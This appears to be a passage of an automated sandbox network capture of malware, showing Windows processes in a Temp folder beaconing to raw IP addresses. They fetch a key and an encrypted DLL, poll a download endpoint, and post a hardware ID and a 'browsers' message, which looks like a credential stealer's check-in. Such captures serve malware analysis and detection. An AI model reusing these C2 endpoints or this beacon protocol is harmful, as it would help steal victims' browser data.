Dec 10, 2024 05:10:27.914496899 CET	248	IN	Data Raw: 15 7c c7 ea f0 14 c3 8e 5e 10 e3 b0 57 93 b4 ba 1e 1e b7 ea b9 61 76 0f 69 48 db 5c 2a 60 83 65 dc 99 0e fa 07 ea cc 03 05 46 ed 80 51 01 5d c4 70 1f ce 59 e8 ef ac 2d 21 6b a2 c9 32 b1 40 b8 0a 58 8a bd 88 a6 84 bf 5c 7d 6a c7 ad 08 7b c7 ea 51 Data Ascii: \|^WaviH\*`eFQ]pY-!k2@X\}j{Qf#lWr\x&YQZ^;G6iBxa_(Ar0"1E])--<$>+3jm!~_Pf&]hU("B]i,y\|6B0KNm;
Dec 10, 2024 05:10:27.915136099 CET	1236	IN	Data Raw: dd 60 fb b4 7a 92 29 5b 28 6b bd c9 01 38 c3 48 9f c0 b3 15 05 22 37 a7 01 48 bc 31 c6 9e df f3 c9 9a d8 ef 0c e3 a0 70 e1 4d af e0 28 65 ab 38 51 65 fc c9 e9 94 f1 7b 57 eb 21 99 8a 19 71 56 a1 35 b5 9a cb 67 f8 9c e7 0e 85 c8 d0 a8 82 3d f7 a0 Data Ascii: `z)[(k8H"7H1pM(e8Qe{W!qV5g=nOj"$[6fCQmEfTb!dDef<=}cQM{9{3CrbtTcE_ku~cd]U<<K[oet"YDYH;"i7]e;]y}5g
Dec 10, 2024 05:10:27.915241003 CET	1236	IN	Data Raw: 29 77 bb 6b 7c d4 6c 57 c1 43 bc 93 38 25 c3 f5 e4 9a fd d8 30 ce 62 29 f9 99 05 a1 30 2c 92 49 e9 41 7a 08 1c 7c 85 72 1b 9e d1 dd 6e 44 fe 6a 8d 1c 65 b6 78 8d 9f fd 68 96 35 86 b9 9a 65 ac 6e e8 48 6b b1 94 b5 e2 e7 5b 8b 6d 62 84 e3 56 4d 9c Data Ascii: )wk\|lWC8%0b)0,IAz\|rnDjexh5enHk[mbVM1f"\{TbxhekeI)ike?!ne!W(!LV Z4#irQZ']T9xZ9"a}S^{qj5DiQprxPh#}
Dec 10, 2024 05:10:28.032629967 CET	1236	IN	Data Raw: 82 ae 91 05 dd 2c bd dd 82 c4 06 81 8a 9d 72 83 12 9b 82 57 c1 1b 93 9b 72 e3 72 05 23 96 15 5a e1 9c 35 e3 be 5f d3 bd 77 63 6e 5a 75 1e 58 25 90 bf 90 79 6f c4 8b 9b e9 c8 05 6b 14 e2 30 c9 6b f4 61 e9 e4 92 f8 5a cd 2e c3 79 20 96 1f 46 3a 03 Data Ascii: ,rWrr#Z5_wcnZuX%yok0kaZ.y F:cWMC h@%k"evfXapq/9kEXn1cdkpY%inE!k%(ceakE(S]!kYboB,jH~kIUk(u5MplH8V

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49881	80.82.65.70	80	3288	C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 05:10:28.998224974 CET	412	OUT	GET /add?substr=mixtwo&s=three&sub=emp HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 10, 2024 05:10:30.351644039 CET	204	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 04:10:30 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 10, 2024 05:10:30.715020895 CET	386	OUT	GET /dll/key HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 10, 2024 05:10:31.187978983 CET	224	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 04:10:30 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 21 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 39 74 4b 69 4b 33 62 73 59 6d 34 66 4d 75 4b 34 37 50 6b 33 73 Data Ascii: 9tKiK3bsYm4fMuK47Pk3s
Dec 10, 2024 05:10:31.197927952 CET	391	OUT	GET /dll/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 10, 2024 05:10:31.755732059 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 04:10:31 GMT Server: Apache/2.4.58 (Ubuntu) Content-Disposition: attachment; filename="fuckingdllENCR.dll"; Content-Length: 97296 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 58 4d 20 a9 34 49 68 99 fe 5d 0a b3 eb 74 b6 26 d0 73 db 11 cf 76 c9 30 7b 06 76 1e 76 73 27 c0 ad eb 3a aa 6c ec 68 b4 13 95 65 19 c0 04 a4 9f 52 d6 da b1 8e f9 31 83 b8 06 72 fc 52 2b 46 6b 2a f7 94 87 96 7e f9 73 f3 a2 8e 06 fa 0b c3 51 a1 b1 0b 1e e4 72 c9 54 ac 62 d5 ed 06 c7 96 dd b1 7e 63 b2 8d 5b 1d 87 0b cf 81 a3 a5 ba ba 3b a3 fc ff 6a ac 40 e8 30 b2 25 84 88 f9 dd 19 78 dd e8 c7 76 cb 77 fb f0 2e a7 1d 3c 72 75 0a 1c 17 d3 59 72 65 3b f4 62 36 1d 14 b2 48 51 2d d4 ec ba cd 38 bf 42 b3 9b 51 82 61 a1 c0 c6 52 bc 3a cc 68 26 72 90 a0 a6 17 be fc 07 3d a2 3b 72 1e 6b e2 0b 54 e2 40 e0 ea b9 d0 e1 6c 8b cf 3b 23 fd 94 33 21 e6 4f b4 00 78 da 7d a1 13 e8 b9 03 f4 00 bb ce 79 27 3c 0a 47 66 51 90 4b af 23 d8 4c 35 76 10 1e 5d d4 b3 01 f6 db 8a 1e 18 de 64 f3 a6 e9 b9 b8 cb fe 4e 7b 65 a0 c7 bc 40 05 fa f3 1e a1 c2 e7 7f 08 cd ec 7f e9 a4 1b b2 f5 41 5c 8e 11 3c bc 74 f3 75 ed 58 15 4f ef 6e c5 e9 5a 89 8e 20 86 58 62 b1 4f 3c 84 2a 5a a5 a4 cf 68 7e 9b 28 b1 57 99 66 af 7a 0d 56 cb 34 09 db 4c [TRUNCATED] Data Ascii: XM 4Ih]t&sv0{vvs':lheR1rR+Fk~sQrTb~c[;j@0%xvw.<ruYre;b6HQ-8BQaR:h&r=;rkT@l;#3!Ox}y'<GfQK#L5v]dN{e@A\<tuXOnZ XbO<Zh~(WfzV4L%50H`syB(IL5s:aS}XM9Jo)'M;n6]Wn)L_e>[RA.'6N.g6IY%h 3r^\b~y/h2ZLku}V<fbD<!_2zoIEPOuPw#6N&lR}GILYNyzjHy'_5Pd9y+6q)GcL#5\M5U])U(~HmYG1r4BhP]iM%)q.]~\|jbK!N7R}T2bsq1L^!\|qD'sLnD@bn%0=bQ1+lQXO\|NC.d{08F<Wy{oj3n4eS] KoBH~sh1m86{lsRq~w_;X*#U
Dec 10, 2024 05:10:31.755812883 CET	1236	IN	Data Raw: 98 ce 36 6e 99 4f 44 62 54 a0 2b 5a 63 96 17 1c 8e 71 d6 10 c5 90 ce 53 f1 24 2d 53 60 59 54 cc 01 e7 c4 70 93 60 32 41 18 ce 0d 55 c7 24 07 69 64 06 3a b3 b0 e0 76 6e 84 3b d8 aa e7 9e f0 d5 ee 45 9c b1 50 a7 0a df 3f 11 c8 6e 7d 41 c9 76 d2 0f Data Ascii: 6nODbT+ZcqS$-S`YTp`2AU$id:vn;EP?n}AvLwU\|}"Gi9ZIxw.sY-KnP2oWci#2kgDZ6~,o9"opx(uccgv@M)nL
Dec 10, 2024 05:10:31.755829096 CET	1236	IN	Data Raw: 44 70 21 ac fa dd 10 12 6c 8f df 8d 2a 52 37 0a bc 2b 32 e0 ca d2 85 4a 5e 2a bb 89 27 6f b7 ed ec 11 16 da 35 88 e8 c7 a0 fb 57 12 bc ee 7b 8e 20 56 98 d0 5f d5 fa 6e b8 a6 bb 07 ab 54 57 ec 21 3a 2e 06 6d 3f c9 25 6c 63 ce e7 5a 5e c2 32 24 bd Data Ascii: Dp!lR7+2J^'o5W{ V_nTW!:.m?%lcZ^2$2[#LeCe+: rUz(-dFI?[VH0-!{</Bge!ygJZ=XwPMeh5]Bki'\L4u
Dec 10, 2024 05:10:31.755930901 CET	1236	IN	Data Raw: 42 47 80 86 ae 70 77 dd c9 a4 43 ea 79 cc 36 24 d5 a0 a8 68 e2 19 03 24 ed 93 0c db 15 78 2a 88 5a 7c 59 51 fe c6 7c 01 35 8f e1 23 99 84 04 00 e3 d2 e6 6e e4 8f 85 26 21 77 40 81 44 b6 9f 1d 75 1d 8d 68 73 3a 7c 42 46 c1 18 9b 47 fd 90 63 33 b4 Data Ascii: BGpwCy6$h$xZ\|YQ\|5#n&!w@Duhs:\|BFGc3_^MH_FJn-U,e?lzR3Ib=nuH_x}q^6vP2'\:)j!gJH:yA".E<tj)>N]
Dec 10, 2024 05:10:31.755942106 CET	1236	IN	Data Raw: 65 3b 47 31 40 6c 58 a4 f2 72 e0 62 45 fe 13 75 f3 bf 71 98 82 ed 0b 91 d9 fa 6f fb bb 0c b6 96 17 6c 50 87 9d 6a f0 e3 e5 e5 17 2f 04 e1 78 4b 7b ec a4 0a 66 3a c7 1b de e3 06 f4 33 94 a4 66 e3 66 11 87 2a 50 e7 5f f0 a7 8b 90 b0 e7 20 a1 56 ea Data Ascii: e;G1@lXrbEuqolPj/xK{f:3ff*P_ VufJJh2~Uz=;6DmjDX,t3{etiOaB?hcMT#iHyKg7`Cx6'JgYOL(>@2O0inol%t-9'
Dec 10, 2024 05:10:31.755951881 CET	1236	IN	Data Raw: 18 fc a2 90 2b 67 71 38 68 4e e5 23 79 cf 33 c9 7b 68 89 24 07 d9 65 9b c2 05 5b 73 79 a0 fa 5d 0b 18 e7 03 da 3c 02 9a eb 59 06 94 8c a5 f8 69 3f f6 01 62 ec cb f9 de 45 fa 09 83 a3 f7 21 af d3 6f d5 a4 26 c7 c1 ee 10 d1 cd 23 d9 b7 3d bf ce a7 Data Ascii: +gq8hN#y3{h$e[sy]<Yi?bE!o&#=fmCALA-0BiwXV-+[X>Og{:i{It_v50#xa=cWBd/QFI6N' 3F$R/3Oqt]uqp3GU@(
Dec 10, 2024 05:10:31.755964994 CET	1236	IN	Data Raw: 86 d0 0e 0e f5 2b 0b f5 8d f7 79 40 71 81 e1 45 02 36 97 09 61 9b 5f dc b2 b1 d0 95 a0 5d 70 7b 40 b1 c5 76 fa 38 88 2f 7c 5a a9 00 9d 47 93 df 14 da 54 c6 55 b5 fc 8e fd 29 bf 7f d9 f7 52 82 c1 5f b3 a1 7d bb 48 e0 29 38 0d 63 13 83 b6 e2 b0 e0 Data Ascii: +y@qE6a_]p{@v8/\|ZGTU)R_}H)8c'ATd10?lg;&jg8KnWwD0a_r+42}20.u~Q$z2i@=sdkO8m(pC
Dec 10, 2024 05:10:31.756104946 CET	1236	IN	Data Raw: c3 9c 69 5d eb 54 db 81 bb 6b 66 5e ab f4 9b 3d ee ff 1b d1 4b 71 18 e1 6e 42 a8 ab 9c 98 14 85 99 99 0e a1 66 a6 1c 27 bd 4a b3 a3 d4 cf 6b 2b dc 89 26 b7 59 fe 26 0d 72 54 62 f2 c9 80 5f 45 0d 82 64 28 85 e9 69 0d 69 77 dd df e1 4d 16 de d3 9a Data Ascii: i]Tkf^=KqnBf'Jk+&Y&rTb_Ed(iiwM3mo.m4moNm09k-:zTzxGc\|Ub<\|Y>. Tu#f-UM!+g@!4<fG7IkEl
Dec 10, 2024 05:10:31.764038086 CET	1236	IN	Data Raw: bf 33 41 12 5b 52 91 a7 94 e0 e5 21 5d 8d 93 1b 30 af be 5e 8f 7b 94 24 bc 87 3d 50 74 38 00 cd a5 7b 35 ab 90 44 11 e5 40 7a 29 92 1d b3 4a 52 10 d4 8d 43 b3 ff 3c 6b 20 35 4a e1 86 bc f7 99 68 67 d7 c4 fb c8 a1 b9 38 b1 27 61 b3 3c e2 f9 cc 06 Data Ascii: 3A[R!]0^{$=Pt8{5D@z)JRC<k 5Jhg8'a<dIC2ui$wtHLnc}QJ4;[r\|^%<t5S[AIa+48*xs30SxNZCPH3U"~6GxeZE3 SZF&=Qt`d^u
Dec 10, 2024 05:10:31.764116049 CET	1236	IN	Data Raw: c8 a2 6d 52 66 a8 66 51 d1 c3 c9 87 9b d8 0b 44 57 eb 08 d8 cd bc b7 be b7 f1 4b 89 c0 b1 44 55 84 bc 8d 8d 36 2c c3 07 89 a5 46 50 8a ac fe f3 ba 23 4d 4f e4 0f 27 9f e1 11 07 f4 e0 e7 17 61 0e 07 54 3f cc 3f ae 3a 77 4d e4 44 61 15 b1 b3 97 25 Data Ascii: mRffQDWKDU6,FP#MO'aT??:wMDa%k;3?Bc\| yp`yzlSniVN(Bv}:XsOf.~zToX8n K$:D6Z%NNng=t+L~6DtFX[a/[
Dec 10, 2024 05:10:31.772408009 CET	1236	IN	Data Raw: d3 59 d3 30 18 53 4e 25 dc 9e 95 b9 da a6 3e 71 c0 45 79 32 7a f2 9f 43 ae e4 0b 25 8a bf 44 da e3 4d 77 72 50 8f 9d 18 42 0f 58 f1 b2 46 1d e6 97 70 c7 39 3b b2 a3 64 90 74 04 57 77 50 fc 49 1c ac 46 a7 37 5f 66 b7 fd b1 37 84 39 3f 7b d6 9b 57 Data Ascii: Y0SN%>qEy2zC%DMwrPBXFp9;dtWwPIF7_f79?{WdA_9qH1^S-;0_lc%.I5[j-(HK&c?EUXTVnMXyU47=`L4^9\7am:i`v{]
Dec 10, 2024 05:10:32.353880882 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 10, 2024 05:10:32.848428965 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 04:10:32 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 10, 2024 05:10:35.620431900 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 10, 2024 05:10:36.104958057 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 04:10:35 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 10, 2024 05:10:38.172473907 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 10, 2024 05:10:38.658088923 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 04:10:38 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 10, 2024 05:10:40.840867996 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 10, 2024 05:10:41.333132982 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 04:10:41 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 10, 2024 05:10:43.587543964 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 10, 2024 05:10:44.071170092 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 04:10:43 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 10, 2024 05:10:46.138926983 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 10, 2024 05:10:46.622414112 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 04:10:46 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 10, 2024 05:10:48.729104996 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 10, 2024 05:10:49.213191986 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 04:10:48 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 10, 2024 05:10:51.454277039 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 10, 2024 05:10:51.944911003 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 04:10:51 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 10, 2024 05:10:54.011915922 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 10, 2024 05:10:54.496381044 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 04:10:54 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 10, 2024 05:10:56.728424072 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 10, 2024 05:10:57.216945887 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 04:10:56 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49893	185.215.113.43	80	5596	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 05:10:33.693643093 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 33 36 30 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013607001&unit=246122658369
Dec 10, 2024 05:10:35.038702011 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 10 Dec 2024 04:10:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49895	185.215.113.206	80	3716	C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 05:10:34.214178085 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 10, 2024 05:10:35.545794010 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 04:10:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 10, 2024 05:10:35.548166990 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGHCAKKEGCAAFHJJJDBK Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 48 43 41 4b 4b 45 47 43 41 41 46 48 4a 4a 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 45 46 45 32 32 32 46 45 46 42 34 33 37 35 30 37 37 33 35 36 34 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 43 41 4b 4b 45 47 43 41 41 46 48 4a 4a 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 43 41 4b 4b 45 47 43 41 41 46 48 4a 4a 4a 44 42 4b 2d 2d 0d 0a Data Ascii: ------EGHCAKKEGCAAFHJJJDBKContent-Disposition: form-data; name="hwid"9EFE222FEFB43750773564------EGHCAKKEGCAAFHJJJDBKContent-Disposition: form-data; name="build"stok------EGHCAKKEGCAAFHJJJDBK--
Dec 10, 2024 05:10:35.997477055 CET	407	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 04:10:35 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4f 44 45 79 59 32 46 6a 4e 47 56 68 5a 57 4d 7a 5a 6d 59 33 5a 44 68 69 5a 44 41 79 4d 7a 55 34 5a 57 4a 6b 4d 6a 6b 34 4d 44 49 34 59 6a 4e 68 5a 6d 46 69 4d 7a 4a 69 59 57 4a 6c 4d 6a 51 35 59 6a 51 31 59 54 4d 77 4f 54 45 7a 4d 7a 4d 35 4e 32 46 68 5a 44 46 6d 4e 44 4d 34 4d 6a 46 6b 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ODEyY2FjNGVhZWMzZmY3ZDhiZDAyMzU4ZWJkMjk4MDI4YjNhZmFiMzJiYWJlMjQ5YjQ1YTMwOTEzMzM5N2FhZDFmNDM4MjFkfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Dec 10, 2024 05:10:36.041682005 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJDAECAEBKJJJKEBKKJD Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 44 41 45 43 41 45 42 4b 4a 4a 4a 4b 45 42 4b 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 31 32 63 61 63 34 65 61 65 63 33 66 66 37 64 38 62 64 30 32 33 35 38 65 62 64 32 39 38 30 32 38 62 33 61 66 61 62 33 32 62 61 62 65 32 34 39 62 34 35 61 33 30 39 31 33 33 33 39 37 61 61 64 31 66 34 33 38 32 31 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 41 45 43 41 45 42 4b 4a 4a 4a 4b 45 42 4b 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 41 45 43 41 45 42 4b 4a 4a 4a 4b 45 42 4b 4b 4a 44 2d 2d 0d 0a Data Ascii: ------KJDAECAEBKJJJKEBKKJDContent-Disposition: form-data; name="token"812cac4eaec3ff7d8bd02358ebd298028b3afab32babe249b45a309133397aad1f43821d------KJDAECAEBKJJJKEBKKJDContent-Disposition: form-data; name="message"browsers------KJDAECAEBKJJJKEBKKJD--
